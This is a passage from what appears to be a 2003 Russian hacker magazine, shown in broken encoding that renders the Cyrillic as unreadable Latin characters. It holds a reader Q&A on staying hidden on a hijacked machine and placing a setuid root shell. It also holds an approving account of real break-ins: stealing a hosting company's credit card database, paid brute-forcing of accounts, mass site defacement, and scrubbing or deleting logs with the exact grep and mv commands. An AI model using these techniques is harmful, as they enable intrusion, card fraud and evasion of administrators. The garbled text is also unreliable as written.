ïðèäåòñÿ êàê-òî àâòîìàòèçèðîâàòü.<br />

ß ïîëó÷èë<br />

øåëë íà íåêîòîðîì<br />

êîìïüþòåðå, íî áîþñü<br />

åãî ïîòåðÿòü. Êàêèõ<br />

âåùåé ìíå íå ñòîèò<br />

òàì äåëàòü?<br />

A:  ïåðâóþ î÷åðåäü íå ñòîèò äîáàâëÿòü ïîëüçîâàòåëåé<br />

ñ uid'îì 0. Äà è âîîáùå, äîáàâëÿòü íîâûõ<br />

þçåðîâ íå ëó÷øàÿ èäåÿ, ò.ê. ýòî ñëèøêîì çàìåòíî.<br />

Òàêæå ÿ áû íå ñòàë äåëàòü "cat /dev/null >/var/log/*",<br />

ò.ê. ïóñòûå ëîãè ñðàçó âûçûâàþò ìíîæåñòâî íåíóæíûõ<br />

ïîäîçðåíèé. Î÷åíü ñòðàííî âûãëÿäèò suid'íûé<br />

ôàéë bash, ëåæàùèé â tmp. È åùå î÷åíü îïàñíî âûçûâàòü<br />

îøèáêè â ñèñòåìå, âåäü ñîîáùåíèÿ î íèõ<br />

îòïðàâëÿþòñÿ â êîíñîëü àäìèíèñòðàòîðó. À ýòî áóäåò<br />

ÿâíûì ïðèçíàêîì, ÷òî ñèñòåìà âçëîìàíà.<br />

Èñïîëüçóÿ<br />

óÿçâèìîñòü â îäíîì<br />

ñåðâèñå, ÿ ñìîã<br />

èçìåíèòü .profile<br />

root'à òàê, ÷òî ó ìåíÿ<br />

â homedir ñîçäàëñÿ<br />

bash ôàéë ñ<br />

óñòàíîâëåííûì<br />

ñóèäíûì áèòîì. Âîò<br />

åãî àòðèáóòû - "-r-srsr-x<br />

root wheel<br />

suidsh". Âðîäå âñå<br />

ïðàâèëüíî, íî ýòî íå<br />

ðàáîòàåò. Ïî÷åìó òàê?<br />

A: Âîçìîæíî, ÷òî òâîé äîìàøíèé êàòàëîã ïîäêëþ÷àåòñÿ<br />

ñ îïöèåé nosuid. Åñëè ýòà îïöèÿ óñòàíîâëåíà,<br />

òî òû â ïðîëåòå. Ïðîâåðèòü åå àêòèâíîñòü<br />

ìîæíî ïðè ïîìîùè êîìàíäû mount.<br />

Çàïóñêàé åå áåç âñÿêèõ àðãóìåíòîâ. Åñëè â îòâåò<br />

òû ïîëó÷èøü íå÷òî ïîäîáíîå - "/dev/wd0e<br />

on /home type ffs (local, nodev, nosuid)", çíà÷èò<br />

îïöèÿ nosuid âêëþ÷åíà. Ïîñìîòðè, ãäå îíà îòñóòñòâóåò,<br />

è ïîëîæè òóäà ñâîé bash.<br />

Tips&Tricks<br />

Çíàåøü ëè òû, ÷òî â Âèíäàõ åñòü ñïèñîê ñîîòâåòñòâèÿ<br />

ïîðòîâ ñòàíäàðòíûì ñëóæáàì?<br />

Õðàíèòñÿ ýòî â ôàéëèêå Services:<br />

Äëÿ WindowsXP — ýòî Windows\system32\drivers\etc\services<br />

Äëÿ 98 — Windows\services<br />

Kimi4<br />

kimi4@mail.ru<br />

Õî÷åøü óâèäåòü ñâîè ñîâåòû â æóðíàëå? Ïðèñûëàé èõ<br />

íà àäðåñ Sklyarov@real.xakep.ru. Âåäóùèé ðóáðèêè<br />

Tips&Tricks Èâàí Ñêëÿðîâ.<br />

5 6 7 8<br />

Þíèêñîèä X-Ñòèëü Êîäèíã


Âçëîì<br />

ÊÀÊ ÝÒÎ ÁÛÂÀÅÒ ÍÀ ÑÀÌÎÌ ÄÅËÅ<br />

Master-lame-master<br />

ÊÀÊ ÝÒÎ ÁÛÂÀÅÒ<br />

ÍÀ ÑÀÌÎÌ ÄÅËÅ<br />

ÐÅÀËÜÍÛÅ ÈÑÒÎÐÈÈ<br />

ÍÀØÓÌÅÂØÈÕ<br />

ÂÇËÎÌÎÂ<br />

Áûòóåò ìíåíèå, ÷òî ñåðâåðà, íà êîòîðûõ<br />

óñòàíîâëåíû íîâûå ñèñòåìû áåç<br />

áàãîâ, íåâîçìîæíî âçëîìàòü äàæå<br />

ïðîôåññèîíàëüíîìó õàêåðó. Ýòî íå<br />

ñîâñåì òàê. Åñëè âíèêíóòü â ñóòü ïðîáëåìû<br />

çàùèòû èíôîðìàöèè, ïðîðèñîâûâàþòñÿ<br />

äâà íåîòúåìëåìûõ êîìïîíåíòà<br />

óñïåøíîé ðåàëèçàöèè ýòîé<br />

ñàìîé çàùèòû - õîðîøåå ïðîãðàììíîå<br />

îáåñïå÷åíèå, íà êîòîðîì "æèâåò"<br />

ñåðâåð, à òàêæå óìíûé ñèñòåìíûé àäìèíèñòðàòîð,<br />

íå ïîëåíèâøèéñÿ îòòî-<br />

÷èòü íàñòðîéêó ñåðâåðà è íå áîÿùèéñÿ<br />

âñòóïèòü â áîé ñ õàêåðîì.<br />

ß óìûøëåííî óïîìÿíóë ïðî ñàì ôàêò<br />

âçëîìà, òàê êàê àäìèíèñòðàòîð äîëæåí<br />

çàðàíåå ïðåäóãàäàòü, ÷òî îí áóäåò<br />

äåëàòü â ýòîì ñëó÷àå, äàáû âçëîìùèê<br />

íå çàñòàë åãî âðàñïëîõ. Åñëè íåìíîãî<br />

ïîôàíòàçèðîâàòü, ìîæíî ïðîâåñòè ïàðàëëåëü<br />

ñ ðåàëüíîé æèçíüþ: áîãàòûé<br />

õîçÿèí êâàðòèðû ñòàâèò ñèãíàëèçàöèþ<br />

èìåííî äëÿ òîãî, ÷òîáû ñîõðàíèòü<br />

ñâîå èìóùåñòâî, íå íàäåÿñü íà æåëåçíûå<br />

äâåðè ñ ñåíñîðíûìè çàìêàìè, à<br />

òàêæå óìåíüøàåò âåðîÿòíîñòü âçëîìà,<br />

íå ðàññêàçûâàÿ ïåðâîìó âñòðå÷íîìó,<br />

÷òî ó íåãî íàõîäèòñÿ â êâàðòèðå. Òî æå<br />

ñàìîå äîëæíî áûòü è â "öèôðîâîé"<br />

æèçíè. Àäìèíèñòðàòîð êðóïíûõ ïðîåêòîâ<br />

îáÿçàòåëüíî äîëæåí áûòü ïðîèíôîðìèðîâàí<br />

î ôàêòå "âòîðæåíèÿ" â<br />

êðàò÷àéøèå ñðîêè, ÷òîáû ïîòîì íå<br />

áûëî ìó÷èòåëüíî áîëüíî... Âåäü<br />

âçëîìùèêè îáû÷íî íå ùàäÿò ñèñòåì è<br />

äåëàþò âñå õëàäíîêðîâíî.<br />

ÝÒÞÄ ÏÅÐÂÛÉ: WWW.AWC.NET -<br />

ADVANCED WEB CREATIONS<br />

Ýòî áûëî äàâíî... Íà äâîðå ñòîÿëà çèìà 2001 ãîäà.<br />

Ñèñòåìû ê òîìó âðåìåíè áûëè ñòàðåíüêèå è íåçàùèùåííûå,<br />

íî è ýêñïëîèòîâ ê íèì îáíàðóæåíî ïîêà<br />

íå áûëî. Äà è õàêåðîâ áûëî ãîðàçäî ìåíüøå,<br />

÷åì ñåé÷àñ. Ïðî÷èòàâ â êàêîì-òî îòêðûòîì èñòî÷íèêå<br />

ñòàòüþ ïðî ãåíåðàòîðû êðåäèòíûõ êàðò, êîòîðûå<br />

ïðîêàòûâàþò ïðè ðåãèñòðàöèè äîìåíîâ âòîðîãî<br />

óðîâíÿ, íà÷èíàþùèé âçëîìùèê, ñêåïòè÷åñêè<br />

õìûêíóâ è äîïèâ îñòàòêè ïèâà, ïîëåç êà÷àòü ýòîò<br />

ñàìûé ãåíåðàòîð. Èì îêàçàëîñü äåñÿòèêèëîáàéòíîå<br />

ÄÎÑ-ïðèëîæåíèå, íå âûäàâàâøåå åìó ïðè çàïóñêå<br />

íè÷åãî, êðîìå äåñÿòè îãðîìíûõ öèôð (êàê âïîñëåäñòâèè<br />

îêàçàëîñü - 10 ôàëüøèâûõ êàðò VISA). Ïîòûêàâ<br />

ìûøêîé â ïîëÿõ âñåì èçâåñòíîãî<br />

www.register.com è www.verio.net, îí îãîð÷èëñÿ, ïîëó÷èâ<br />

ñîîáùåíèå î "ïëîõîé" êðåäèòêå. Íå ðàñòåðÿâ<br />

áîåâîãî äóõà, õàêåð ñëó÷àéíî ïîïàë íà íåêèé àìåðèêîñîâñêèé<br />

ñàéò ïîä ãðîìêèì íàçâàíèåì Advanced<br />

Web Creations. Çàïîëíèâ íåáîëüøóþ ôîðìó, îí ïîëó÷èë<br />

ñîîáùåíèå, ÷òî åñëè âñå â ïîðÿäêå, òî äîìåí<br />

áóäåò ñîçäàí è åìó îòìûëÿò ðóêîâîäñòâî ïî åãî èñïîëüçîâàíèþ,<br />

à òàêæå ïàðîëè íà ftp è shell-account,<br />

êîòîðûé îí òîæå âêëþ÷èë â ïðàéñ.<br />

 òî âðåìÿ âçëîìùèê áîëåë èíòåðíåò-çàâèñèìîñòüþ<br />

â ëåãêîé (ïîêà!) ôîðìå, à â ïëàíå âçëîìà áûë<br />

âñåãî ëèøü ñêðèïòêèääè, ïîýòîìó îí çàáûë î çàÿâêå<br />

íà äîìåí. Ïèñüìî, ñâàëèâøååñÿ îò ñàïïîðòà<br />

awc.net çàñòàâèëî âçëîìùèêà âñïîìíèòü ñâîþ çàâåòíóþ<br />

ìå÷òó î äîìåíå âòîðîãî óðîâíÿ, êîòîðàÿ<br />

ñòàëà ðåàëüíîñòüþ, ñóäÿ ïî ñîäåðæèìîìó ìåéëà.<br />

Çàáûâ âñå è çàáèâ íà âñåõ, õàêåð ïîëåç íà øåëë,<br />

÷òîáû ïîñòàâèòü ýããäðîïà äëÿ irc (äà-äà, à çà÷åì,<br />

òû äóìàë, åìó â òî âðåìÿ áûë íóæåí øåëë? :)), è<br />

îáíàðóæèë òàì êðàñèâûé telnet-áàííåð: SunOS<br />

5.7. Êàê îêàçàëîñü ïîçæå, âñÿ ïîäñåòêà ýòîãî õîñòåðà<br />

íàõîäèëàñü íà ñàíîñÿõ îò 5.6 äî 5.8 âåðñèè.<br />

ÕÀÊÅÐ\¹52\Àïðåëü\2003<br />

Íî åìó ïîêà ýòî íè î ÷åì íå ãîâîðèëî, è ðàññòðîèâøèñü,<br />

÷òî íà ñåðâåðå íåò tcl, êîòîðûé áûë íåîáõîäèì<br />

äëÿ eggdrop, âçëîìùèê, îòõëåáíóâ ñâåæåãî<br />

ïèâà, çàêðûë êîíñîëü è óäîâîëüñòâîâàëñÿ ëèøü<br />

FTP è WWW ñåðâèñîì ñâîåãî íîâîãî äîìåíà.<br />

ÍÀ×ÀËÎ ÂÇËÎÌÀ<br />

Ïðîøëî 2 ìåñÿöà. Èíòåðåñ íàøåãî ãåðîÿ ê unixlike<br />

ñèñòåìàì çíà÷èòåëüíî âîçðîñ, ïîýòîìó,<br />

âñïîìíèâ ñâîé ñòàðûé àêêàóíò íà óáîãîì ñîëÿðèñå,<br />

âçëîìùèê ñòàë áðîäèòü ïî êàòàëîãàì ñèñòåìû<br />

ñ öåëüþ åå èçó÷åíèÿ è âîçìîæíî - ïðèðó÷åíèÿ.<br />

Õîòÿ ñàì ôàêò âçëîìà, ïóñòü äàæå íåçàùèùåííîé<br />

ñèñòåìû, áûë äëÿ íåãî ñêîðåå ìèôîì, ÷åì ðåàëüíîñòüþ,<br />

åìó íå õâàòàëî îïûòà. Èçó÷àòü â ýòîé ñèñòåìå<br />

áûëî, ñîáñòâåííî, íå÷åãî: äëÿ óäîáñòâà ðàçáèòûå<br />

ïî àëôàâèòó äèðåêòîðèè ñ ñàáäèðåêòîðèÿìè,<br />

ñîäåðæàùèå â ñåáå èìåíà äîìåíîâ â ýòîì õîñòèíãå,<br />

íå ïðåäñòàâëÿëè ñîáîé íè÷åãî èíòåðåñíîãî.<br />

Òåì áîëåå ÷òî äîñòóï â íèõ áûë çàïðåùåí - íà<br />

äèðåêòîðèÿõ óñòàíîâëåí áèò 700.<br />

Îò÷àÿâøèñü, õàêåð çàøåë â ïàïêó /etc. Ïðîëèñòàâ<br />

åå è íå íàéäÿ íè÷åãî çàñëóæèâàþùåãî âíèìàíèÿ,<br />

îí õîòåë áûëî âûéòè, íî óâèäåë èíòåðåñíûé ôàéë<br />

ïîä èìåíåì test.pl :). Â òî âðåìÿ õàêåð óâëåêàëñÿ<br />

èçó÷åíèåì Perl, ïîýòîìó ñäåëàâ cat test.pl, óâèäåë<br />

íåáîëüøîé ñêðèïòèê, êîòîðûé êîííåêòèòñÿ íà ëîêàëõîñò<br />

è ÷åêàåò ìûëî àäìèíà! Äà, ðàçóìååòñÿ, â<br />

íåì áûëè îïðåäåëåíû çàâåòíûå ïåðåìåííûå<br />

$login è $password - ðàäîñòè âçëîìùèêà íå áûëî<br />

ïðåäåëà! Ñõîäèâ íà êóõíþ çà íîâîé áóòûëêîé ïèâà<br />

äëÿ õðàáðîñòè, îí ðîáêî íàáðàë êîìàíäó su admin.<br />

Îñâàèâàòü ñèñòåìó ñòàëî ãîðàçäî èíòåðåñíåå.<br />

Ïðî÷èòàâ èñòîðèþ êîìàíä, õàêåð ðàäîñòíî çàóëûáàëñÿ,<br />

òàê êàê ïîíÿë, ÷òî ïîëíîñòüþ çàâëàäåë ñåðâåðîì.<br />

Íà ìàøèíå áûëà óñòàíîâëåíà ïðîãðàììà<br />

gsu, ïîçâîëÿþùàÿ ñóèäèòüñÿ íà ðóòà îïðåäåëåííûì<br />

þçåðàì (ïîëíûé àíàëîã sudo), ââåäÿ ëèøü<br />

1 2 3 4<br />

46 Íüþñû Ôåððóì Inside PC_Zone Âçëîì


ïàðîëü ýòîãî þçåðà. Àäìèí áûë â ëèñòå, êàê âûÿñíèëîñü<br />

èç ôàéëà /home/admin/.history, à ïîòîì<br />

ïîäòâåðäèëîñü ïðàêòèêîé.<br />

×ÈÑÒÊÀ ËÎÃÎÂ<br />

×òî ïðèìå÷àòåëüíî, õàêåð áûë î÷åíü ÷èñòîïëîòåí<br />

è íèêîãäà íå çàáûâàë ÷èñòèòü ñâîè ëîãè. Íàéäÿ èõ<br />

â /var/adm/messages (è çàîäíî çàïîìíèâ, ÷òî â ñîëÿðå,<br />

â îòëè÷èå îò ïèíãâèíîâ, îíè õðàíÿòñÿ èìåííî<br />

òóò), îí ïî÷èñòèë ëîãè ïðîñòûì grep'îì. Îí<br />

ìîã áû ïðîñòî âîñïîëüçîâàòüñÿ vi-ðåäàêòîðîì, íî<br />

èç-çà åãî ñëîæíîñòè è ñâîåãî íåóìåíèÿ ñ íèì ðàáîòàòü,<br />

ïîñòóïèë èíà÷å. Çàäà÷åé õàêåðà áûëî óáðàòü<br />

õîñò www.security.ru èç ëîãà. Îí äîáèëñÿ ýòîãî<br />

ïðîñòîé êîìàíäîé:<br />

# cd /var/log<br />

# grep -v 'www.security.ru' messages > temp<br />

# mv temp messages<br />

Çäåñü êëþ÷èê -v êîìàíäû grep îçíà÷àë âûâîä âñåõ<br />

ñòðîê, íå ñîäåðæàùèõ îïðåäåëåííûé øàáëîí. Òåì<br />

ñàìûì âçëîìùèê îòñîðòèðîâàë ëîã íà ïðåäìåò õîñòà<br />

âî âðåìåííûé ôàéë, à çàòåì ïåðåèìåíîâàë åãî<br />

â messages. Ýòî ïðèäåòñÿ ïðîäåëûâàòü êàæäûé ðàç<br />

ïîñëå âõîäà â ñèñòåìó, äàáû èçáåæàòü çàïèñè íåæåëàòåëüíîé<br />

èíôîðìàöèè. Ãëÿíóâ â last, õàêåð óâèäåë<br />

îãðîìíîå êîëè÷åñòâî çàïèñåé ñåññèé ïî ftp è<br />

shell îò ðàçíûõ êëèåíòîâ, ïîýòîìó ìàõíóë ðóêîé íà<br />

wtmp. Òåïåðü åãî îæèäàëà ñàìàÿ îòâåòñòâåííàÿ ðàáîòà<br />

- ñáîð èíôîðìàöèè ñ ýòîãî ñåðâåðà.<br />

ÑÁÎÐ ÄÀÍÍÛÕ<br />

Èíôîðìàöèÿ îáåùàëà áûòü öåííîé. Îñòàíàâëèâàëî<br />

ëèøü îäíî - íà ñåðâåðå ñòîÿë êàêîé-òî ýêçîòè-<br />

÷åñêèé SQL ñåðâåð, ñîâñåì íå ïîõîæèé íà mysql<br />

èëè postrgesql. Äóìàåøü, ýòî åãî îñòàíîâèëî è îí<br />

ñäåëàë disconnect îò óäàëåííîé ìàøèíû? Íå-à,<br />

îøèáàåøüñÿ.  åãî æèëàõ òåêëà ãîðÿ÷àÿ êðîâü<br />

ïðåäêîâ, êîòîðûå íå îñòàíàâëèâàëèñü íè ïåðåä<br />

÷åì. Ñòàðàòåëüíî èçó÷èâ èñòîðèè êîìàíä âñåõ àäìèíèñòðàòîðîâ<br />

ñèñòåìû, îí íàòêíóëñÿ íà èíòåðåñíûé<br />

ñêðèïò ñ èìåíåì sql. Â ïàðàìåòðàõ áûë çàïðîñ<br />

äàííûõ èç áàçû, ïðè÷åì ñèíòàêñèñ áûë<br />

î÷åíü ïîõîæ íà mysql. Íåäîëãî äóìàÿ, õàêåð ïðîñìîòðåë<br />

ñòðóêòóðó âñåõ áàç äàííûõ è íàøåë èíôó<br />

î äîìåíàõ è pop-àêêàóíòàõ ê ýòèì äîìåíàì. Òàêæå<br />

ïðèãîäèëàñü è âòîðàÿ áàçà, ïîä íàçâàíèåì payment,<br />

â íåé ðàñïîëîæèëàñü èíôà î êðåäèòêàõ, ïî<br />

êîòîðûì ïîêóïàëè äîìåíû. Ðàçìåð òàáëèöû áûë<br />

ïîðÿäêà 10 ìåãàáàéò.<br />

Ðàäóÿñü ëåãêîé äîáû÷å, õàêåð ñäåëàë äàìï âñåãî<br />

ýòîãî äîáðà è çàáîòëèâî ñëèë åãî ïî âåáó ñ ýòîãî<br />

æå ñåðâåðà. Íå çàáûâ óäàëèòü àðõèâû ñ öåííîé<br />

èíôîé, ÷òîáû íå îçàäà÷èòü àäìèíà :), âçëîìùèê<br />

åùå ðàç óáåäèëñÿ, ÷òî ëîãè äåéñòâèòåëüíî íå ñîäåðæàò<br />

èíôîðìàöèè î âòîðæåíèè, ïîñëå ÷åãî ñïîêîéíî<br />

âûøåë èç ñèñòåìû. Äëÿ íåãî îíà óæå íå<br />

ïðåäñòàâëÿëà îñîáîãî èíòåðåñà. Âïîñëåäñòâèè õàêåð<br />

èçó÷èë áàçó ñ êðåäèòêàìè è íàøåë â íåé ìíîãî<br />

ëåâûõ íîìåðîâ (ýòî òîëüêî íà ïåðâûé âçãëÿä,<br />

íà ñàìîì äåëå èõ áûëî íå ìíîãî, à î÷åíü ìíîãî),<br />

íî óäîâëåòâîðèâøèñü ÿâíûì ïåðåâåñîì "âàëèäíûõ"<br />

íîìåðîâ, ïîëåç ïîêóïàòü ñåáå øåëë äëÿ<br />

eggdrop íà áîëåå ïðîäâèíóòîé ïëàòôîðìå.<br />

Èòîã êàê âñåãäà ïå÷àëåí: ñåðâåð áûë ñëîìàí èç-çà<br />

áåñïå÷íîñòè ñèñòåìíîãî àäìèíèñòðàòîðà, êîòîðûé<br />

íàâåðíÿêà çíàë, ÷òî åãî ñêðèïò ìîãóò ïðî÷èòàòü<br />

êëèåíòû ýòîãî õîñòèíãà. Îí íå ïîçàáîòèëñÿ î åãî<br />

óäàëåíèè èëè ñêðûòèè îò ïîñòîðîííèõ ëèö. Ãðóñòíî<br />

òî, ÷òî êîìïàíèÿ â êîíöå êîíöîâ ïåðåñòàëà<br />

áûòü õîñòèíãîì, è www.awc.net ñåé÷àñ çàíèìàåòñÿ<br />

íåñêîëüêî èíûìè âåùàìè. Âîçìîæíî, òåïåðü òàì<br />

áîëåå îòâåòñòâåííûå àäìèíû.<br />

Ñþäà òåïåðü êèäàåò ïðè îáðàùåíèè íà<br />

www.awc.net =)<br />

ÝÒÞÄ ÂÒÎÐÎÉ: WWW.SWEB.RU -<br />

ÊÐÓÏÍÛÉ ÏÈÒÅÐÑÊÈÉ ÕÎÑÒÈÍÃ<br />

Òåïëîé âåñíîé 2002 ãîäà íåêòî, ñèäÿùèé çà êîìïüþòåðîì,<br />

óâèäåë â ICQ ñòðàííîå ñîîáùåíèå îò<br />

òèïà, ñîîáùèâøåãî, ÷òî åãî íàïðàâèëè õîðîøèå<br />

ëþäè. Ïîñëå äåñÿòèìèíóòíîãî ðàçãîâîðà ñòàëî ÿñíî,<br />

÷òî ýòîò ÷åëîâåê ïðåäëàãàåò íàøåìó ãåðîþ, íàçîâåì<br />

åãî "çëîáíûì õàêåðîì", ðàáîòó. Òàê êàê ó õàêåðà<br />

íå áûëî îïûòà âçëîìà íà çàêàç, îí äîëãî íå<br />

ìîã ïîíÿòü, ÷òî æå êîíêðåòíî îò íåãî õîòÿò. À îêàçàëîñü,<br />

÷òî êëèåíò ïðîñèò ïîëó÷èòü íà âðåìÿ äîñòóï<br />

ê web-èíòåðôåéñó èçâåñòíîãî õîñòèíãà<br />

www.sweb.ru (äëÿ ñïðàâêè: íà íåì êàê ðàç õîñòèëèñü<br />

òàêèå ñàéòû êàê www.nwgsm.ru è<br />

www.udaff.com). Îí äàë õàêåðó îäèí àêêàóíò äëÿ<br />

òåñòà è ïîïðîñèë îñîáî íå ñâåòèòü åãî â ëîãàõ. Çà<br />

óñïåøíî âûïîëíåííóþ ðàáîòó çàêàç÷èê ïëàòèë 100<br />

WMZ ($100 ÷åðåç www.webmoney.ru), çàìåòèâ, ÷òî<br />

ýòî ëåãêèå äåíüãè äëÿ õàêåðà ñðåäíåé ðóêè. Ïîäóìàâ,<br />

õàêåð ñîãëàñèëñÿ.<br />

Âûáðàâ äëÿ âòîðæåíèÿ òåìíîå âðåìÿ ñóòîê, ÷òîáû íå<br />

íàòêíóòüñÿ íà áäÿùèõ àäìèíîâ, îí çàëåç íà ssh õîñòåðà<br />

ïîä âûäàííûì åìó àêêàóíòîì. Íî ïîìíÿ, ÷òî ñâåòèòü<br />

åãî íåæåëàòåëüíî, ïåðâûì äåëîì ñêîïèðîâàë ñåáå<br />

/etc/passwd è ñòàë òóïî áðóòôîðñèòü àêêàóíòû íà 21<br />

ïîðòó â íàäåæäå, ÷òî âñòðåòèòñÿ ïàðîëü, èäåíòè÷íûé<br />

ëîãèíó ïîëüçîâàòåëÿ. Ðåçóëüòàò îïðàâäàë îæèäàíèÿ, è<br />

âçëîìùèê íàøåë öåëûõ òðè òàêèõ ó÷åòíûõ çàïèñè. Îäíó<br />

èç íèõ îí èñïîëüçîâàë äëÿ âõîäà íà ñåðâåð.<br />

Ïîñëå äîëãèõ ñêèòàíèé õàêåð ïîíÿë, ÷òî òàì ñòîèò<br />

íå ÷òî èíîå, êàê RedHat 7.1 (õîòÿ ñàìè àäìèíû<br />

òùàòåëüíåéøèì îáðàçîì ñêðûâàëè âåðñèþ ñèñòåìû,<br />

õàêåð óçíàë åå ëèøü ÷åðåç ôàéë /proc/version).<br />

Èíòåðåñíî áûëî, ÷òî áèíàðíèê /usr/bin/w<br />

ïîêàçûâàë ëèøü îäíîãî âçëîìùèêà, õîòÿ þçåðîâ<br />

áûëî òðîå. Âîñïîëüçîâàâøèñü /usr/bin/users, õàêåð<br />

óâèäåë, ÷òî â ñèñòåìå áûëî åùå äâà ðóòà, âèäèìî<br />

àäìèíû íå õîòåëè, ÷òîáû èõ âèäåë êòî-òî èç<br />

êëèåíòîâ. Ïîñëå íåóäà÷íûõ èñïûòàíèé ïàáëèêýêñïëîèòîâ,<br />

õàêåð çàáèë íà sweb è íàïðàâèëñÿ â<br />

IRC - ìåñòî, êîòîðîå îí ñ÷èòàë ñâîèì âòîðûì äîìîì.<br />

Óâèäåâ òàì çíàêîìîãî âçëîìùèêà, îí ïîïðîñèë<br />

ó íåãî ïàðó ïðèâàòíûõ ñïëîèòîâ, è, åñòåñòâåííî,<br />

ïîëó÷èë îòêàç. Òîãäà íàø ãåðîé ðåøèë<br />

ñõèòðèòü, ïîïðîñèâ ñîáåñåäíèêà ïîùóïàòü äîâîëüíî<br />

êðóïíûé õîñòèíã. Òîò íå îòêàçàë (åùå áû,<br />

ïîëîìàòü ÷òî-ëèáî, îñîáåííî ëîêàëüíî -<br />

îäíî óäîâîëüñòâèå) è ñ ïîìîùüþ ìîùíûõ<br />

ýêñïëîèòîâ ñïðàâèëñÿ ñ çàäà÷åé çà ïîë÷àñà,<br />

äàâ ïóòü ê ñóèäíîìó øåëëó. Ðàäîñòè õàêåðà<br />

5 6 7 8<br />

Þíèêñîèä X-Ñòèëü Êîäèíã


Âçëîì<br />

ÊÀÊ ÝÒÎ ÁÛÂÀÅÒ ÍÀ ÑÀÌÎÌ ÄÅËÅ<br />

Master-lame-master<br />

ÕÀÊÅÐ\¹52\Àïðåëü\2003<br />

Îñíîâíûå ïðèíöèïû íà÷èíàþùåãî õàêåðà<br />

×òî æå ïîìîãëî õàêåðó â åãî íåëåãêîì äåëå?<br />

1. Âçëîìùèê íå ïðåíåáðåãàåò ïîìîùüþ äðóãèõ ëþäåé, êîòîðûå, ïî åãî ìíåíèþ, ðàçáèðàþòñÿ<br />

âî âçëîìå ëó÷øå, ÷åì îí.<br />

2. Âçëîìùèê, çàáîòÿñü î ñâîåé æå áåçîïàñíîñòè, ñòðåìèòñÿ îñòàâèòü êàê ìîæíî ìåíüøå<br />

èíôîðìàöèè î ñåáå.<br />

3. Âçëîìùèê îáû÷íî âûáèðàåò äëÿ àêòèâíûõ äåéñòâèé íî÷ü, çíàÿ, ÷òî â ýòî âðåìÿ àäìèíû<br />

ðåäêî ñëåäÿò çà ñåðâåðàìè (íå ñòîèò çàáûâàòü î ðàçíèöå âî âðåìåíè â ðàçíûõ ÷àñîâûõ<br />

ïîÿñàõ).<br />

íå áûëî ïðåäåëà (åùå áû, ïîëó÷èòü $100 ïðàêòè-<br />

÷åñêè íà õàëÿâó), ïîýòîìó, äîáàâèâ îäíó ñòðîêó â<br />

.htpasswd, ëåæàùèé â àäìèíñêîé äèðåêòîðèè, îí<br />

ñâÿçàëñÿ ñ çàêàç÷èêîì è ðàäîñòíî ñîîáùèë, ÷òî<br />

ðàáîòà âûïîëíåíà äîñðî÷íî. Ïîñëå íåáîëüøîé<br />

ïðîâåðêè õàêåð ïîëó÷èë áàáëîñû íà ñâîé ýëåêòðîííûé<br />

ñ÷åò, à òàêæå ñëîâà áëàãîäàðíîñòè è<br />

ïðèãëàøåíèå íà óäàëåííóþ ðàáîòó.<br />

ÏÐÀÇÄÍÈÊ - 1 ÌÀß!<br />

Êîãäà ïðîøëà ðàäîñòíàÿ ýéôîðèÿ, âçëîìùèê ãëÿíóë<br />

íà ÷àñû è ñìåêíóë, ÷òî çàâòðà ïåðâîå ìàÿ, à<br />

çíà÷èò, ñàìîå âðåìÿ óñòðîèòü ýòîìó õîñòèíãó ïðàçäíèê<br />

â êà÷åñòâå õîðîøåãî äåôåéñà âñåõ ñàéòîâ<br />

íà íåì (à èõ áûëî îêîëî 50). Íî ñîìíåâàÿñü â ïðàâèëüíîñòè<br />

ïðèíÿòîãî ðåøåíèÿ, îí åùå ðàç çàëåç â<br />

ñèñòåìó ñ öåëüþ ïðîâåðèòü îñòàëüíûå äâà ñåðâåðà<br />

ýòîãî õîñòèíãà, è îáíàðóæèë íåâåðîÿòíîå. Âõîä<br />

íà íèõ áûë âîçìîæåí ïóòåì àâòîðèçàöèè êëþ÷àìè<br />

îò ðóòà áåç âñÿêîãî ïàðîëÿ. Çíàÿ ïî îïûòó, ÷òî íà<br />

õîñòèíãàõ åãî áýêäîð äîëãî íå ïðîâèñèò, îí ðåøèë<br />

çàäåôåéñèòü âñå òðè ñåðâåðà, ñäåëàâ òåì ñàìûì<br />

ïðåêðàñíûé ïîäàðîê àäìèíàì :). Ñãðóçèâ àâòî-äåôåéñåð<br />

ñ www.packetstormsecutiry.nl, âçëîìùèê<br />

çàïóñòèë åãî íà ãëàâíîì ñåðâåðå. Êàêîé ïðèëèâ<br />

ïàòðèîòèçìà îí èñïûòàë ïðè âèäå ñòðî÷êè file<br />

/home/web/www.nwgsm.ru/index.html was defaced!<br />

Çàéäÿ íà âåá ýòîãî ñàéòà è óáåäèâøèñü, ÷òî html<br />

áûë çàìåíåí íà ñàìîì äåëå, õàêåð ïîâòîðèë îïåðàöèþ<br />

íà îñòàëüíûõ äâóõ ñåðâåðàõ (êñòàòè, òàì<br />

ñòîÿëè íåïðîáèâàåìûå íà òîò ìîìåíò FreeBSD 4.7<br />

è Debian 3.0).<br />

Òàêîé äåôåéñ êðàñîâàëñÿ áîëåå ñóòîê íà<br />

500 ñàéòàõ<br />

Óäàëèâ ïîëíîñòüþ /var/log äëÿ íàäåæíîñòè, õàêåð<br />

óäàëèëñÿ èç ñèñòåìû. Ðàçóìååòñÿ, îí âõîäèë â íåå<br />

íå ñ ïðîâàéäåðñêîãî øåëëà, à ñ äàëåêîé ñêàðæåííîé<br />

ìàøèíû èç Êèòàÿ (î÷åíü ïîäîçðèòåëüíî, âåäü<br />

Êèòàé ïðàêòè÷åñêè çàêóïîðåí îò âíåøíåãî èíòåðíåòà,<br />

íî ïóñòü ýòî îñòàíåòñÿ íà ñîâåñòè õàêåðà :) -<br />

ïðèì. ðåä.). Ñ ÷óâñòâîì âûïîëíåííîãî äîëãà<br />

âçëîìùèê ïîøåë ñïàòü, ïîæåëàâ ñïîêîéíîé íî÷è<br />

àäìèíàì ñåðâåðîâ õîñòèíãà. Äâà ñåðâåðà sweb'à<br />

áûëè âîññòàíîâëåíû ê îáåäó ïåðâîãî ìàÿ, òðåòèé<br />

æå ê óòðó ñëåäóþùåãî äíÿ. Ïðîâåðèâ ìûëî îò îñòàâøåéñÿ<br />

ó íåãî ó÷åòíîé çàïèñè, õàêåð íàøåë òàì<br />

ïèñüìî îò àäìèíîâ ñëåäóþùåãî ñîäåðæàíèÿ:<br />

Ýòî ïèñüìî åùå ðàç ïîêàçàëî íàïëåâàòåëüñêîå îòíîøåíèå<br />

àäìèíèñòðàòîðîâ ê êëèåíòàì. Çà ñóòêè, ïîêà<br />

âèñåë äåôåéñ, íà ïî÷òó õàêåðà ïðèøëî îêîëî ñòà ïèñåì<br />

